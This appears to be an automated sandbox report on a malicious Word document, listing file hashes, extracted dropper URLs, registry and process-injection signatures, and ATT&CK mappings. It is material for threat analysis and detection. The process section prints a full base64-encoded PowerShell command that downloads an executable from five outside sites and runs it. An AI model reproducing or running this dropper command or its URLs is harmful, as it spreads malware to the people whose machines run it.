a66b5982e41c8e78c0a807d5c1e7ecf9d554b941fad99bb856564e4ddbb5d295

General

Target

a66b5982e41c8e78c0a807d5c1e7ecf9d554b941fad99bb856564e4ddbb5d295.doc
Size

149KB
MD5

35b1085d0874798babcc94a2b350ad7d
SHA1

0d7ff87a0e1067a0dea89ee3b4969469c87d03de
SHA256

a66b5982e41c8e78c0a807d5c1e7ecf9d554b941fad99bb856564e4ddbb5d295
SHA512

7983baa8d37189bd82eab5947229bf82d1460b8fe9d4e77e4cbeb894e8b584e94bfa9c17102f755cecdd06c5013ebd1eb4531ed5c4e218fd1e20ceccea09641b

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://www.wholesale-towels.com/caapa/2skq2c8brl_ujstqor-9423/

exe.dropper

https://sehatmadu.com/wp-admin/sMsnqVEHO/

exe.dropper

http://wayuansudamai.com/wp-includes/tUhChhCpcN/

exe.dropper

http://vnilla.com/cgi-bin/xdmlv_90ij5qu1-86492/

exe.dropper

http://vcontenidos.com/wp-admin/nzxnfyy9_x7u5tyux4w-71288/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3516	3708	powershell.exe

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

25 3516 powershell.exe

flow	pid	process
25	3516	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4744 WINWORD.EXE
4744 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3516 powershell.exe
3516 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3516 powershell.exe
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

WINWORD.EXE

pid process

4744 WINWORD.EXE
4744 WINWORD.EXE
4744 WINWORD.EXE
4744 WINWORD.EXE

pid	process
4744	WINWORD.EXE
4744	WINWORD.EXE

pid	process
3516	powershell.exe
3516	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3516	powershell.exe

pid	process
4744	WINWORD.EXE
4744	WINWORD.EXE
4744	WINWORD.EXE
4744	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 4744 wrote to memory of 3564	4744	WINWORD.EXE	splwow64.exe
PID 4744 wrote to memory of 3564	4744	WINWORD.EXE	splwow64.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a66b5982e41c8e78c0a807d5c1e7ecf9d554b941fad99bb856564e4ddbb5d295.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4744

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:3564

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -nop -e JABpADkASQA5AGwATQBJAD0AJwB2ADQANgBIAFcAcwA1ACcAOwAkAHoAOQBLADAAUwBNACAAPQAgACcAOQA4ADUAJwA7ACQATQB1AHoAdAA4AFUAaQA9ACcAegBBAHIAVgBrAGYAJwA7ACQAVQA0AEkASwA1AEQAdABVAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJAB6ADkASwAwAFMATQArACcALgBlAHgAZQAnADsAJABpAGIAUwA4AEIAMABuAD0AJwBGAEkAbABQAFIAXwBFACcAOwAkAGMARgBBAFMAcwBZAEgAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4ARQB0AC4AYABXAGUAQgBgAEMATABpAGAAZQBOAFQAOwAkAGoAMgBjAFEAVwB6AEMAPQAnAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHcAaABvAGwAZQBzAGEAbABlAC0AdABvAHcAZQBsAHMALgBjAG8AbQAvAGMAYQBhAHAAYQAvADIAcwBrAHEAMgBjADgAYgByAGwAXwB1AGoAcwB0AHEAbwByAC0AOQA0ADIAMwAvAEAAaAB0AHQAcABzADoALwAvAHMAZQBoAGEAdABtAGEAZAB1AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBzAE0AcwBuAHEAVgBFAEgATwAvAEAAaAB0AHQAcAA6AC8ALwB3AGEAeQB1AGEAbgBzAHUAZABhAG0AYQBpAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwB0AFUAaABDAGgAaABDAHAAYwBOAC8AQABoAHQAdABwADoALwAvAHYAbgBpAGwAbABhAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AeABkAG0AbAB2AF8AOQAwAGkAagA1AHEAdQAxAC0AOAA2ADQAOQAyAC8AQABoAHQAdABwADoALwAvAHYAYwBvAG4AdABlAG4AaQBkAG8AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbgB6AHgAbgBmAHkAeQA5AF8AeAA3AHUANQB0AHkAdQB4ADQAdwAtADcAMQAyADgAOAAvACcALgBzAFAAbABJAHQAKAAnAEAAJwApADsAJABsAHcATwBNAG8AQwBHAEYAPQAnAEwAaABWAG0AUwBFAE8AJwA7AGYAbwByAGUAYQBjAGgAKAAkAHoAXwBpAG8AOQBwACAAaQBuACAAJABqADIAYwBRAFcAegBDACkAewB0AHIAeQB7ACQAYwBGAEEAUwBzAFkASAAuAEQATwBXAG4AbABPAGEAZABmAGkAbABlACgAJAB6AF8AaQBvADkAcAAsACAAJABVADQASQBLADUARAB0AFUAKQA7ACQAWQBOAHYASwA2AGkATwBhAD0AJwBsAEEAbgBqAHcAegBRAFoAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABVADQASQBLADUARAB0AFUAKQAuAEwAZQBOAGcAVABIACAALQBnAGUAIAAyADkANQAxADIAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAFIAVAAoACQAVQA0AEkASwA1AEQAdABVACkAOwAkAHIAOABEAE0AbQA3AD0AJwBQAEwARABiAEgAUwBrACcAOwBiAHIAZQBhAGsAOwAkAFEAdABhAG4AbQBSAE0APQAnAHcAagAxAEIAcAB2AHYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwBzADAAUwBpAGMANAA9ACcAaQBqAGoAUQBMAHoAbgAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3516

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3516-141-0x000002A1D0350000-0x000002A1D0372000-memory.dmp

Filesize
136KB

Download
memory/3516-142-0x00007FFAFCDB0000-0x00007FFAFD871000-memory.dmp

Filesize
10.8MB

Download
memory/3564-139-0x0000000000000000-mapping.dmp

Download
memory/4744-132-0x00007FFAE8A10000-0x00007FFAE8A20000-memory.dmp

Filesize
64KB

Download
memory/4744-133-0x00007FFAE8A10000-0x00007FFAE8A20000-memory.dmp

Filesize
64KB

Download
memory/4744-134-0x00007FFAE8A10000-0x00007FFAE8A20000-memory.dmp

Filesize
64KB

Download
memory/4744-135-0x00007FFAE8A10000-0x00007FFAE8A20000-memory.dmp

Filesize
64KB

Download
memory/4744-136-0x00007FFAE8A10000-0x00007FFAE8A20000-memory.dmp

Filesize
64KB

Download
memory/4744-137-0x00007FFAE60B0000-0x00007FFAE60C0000-memory.dmp

Filesize
64KB

Download
memory/4744-138-0x00007FFAE60B0000-0x00007FFAE60C0000-memory.dmp

Filesize
64KB

Download
memory/4744-140-0x000002594CEC0000-0x000002594CEC4000-memory.dmp

Filesize
16KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads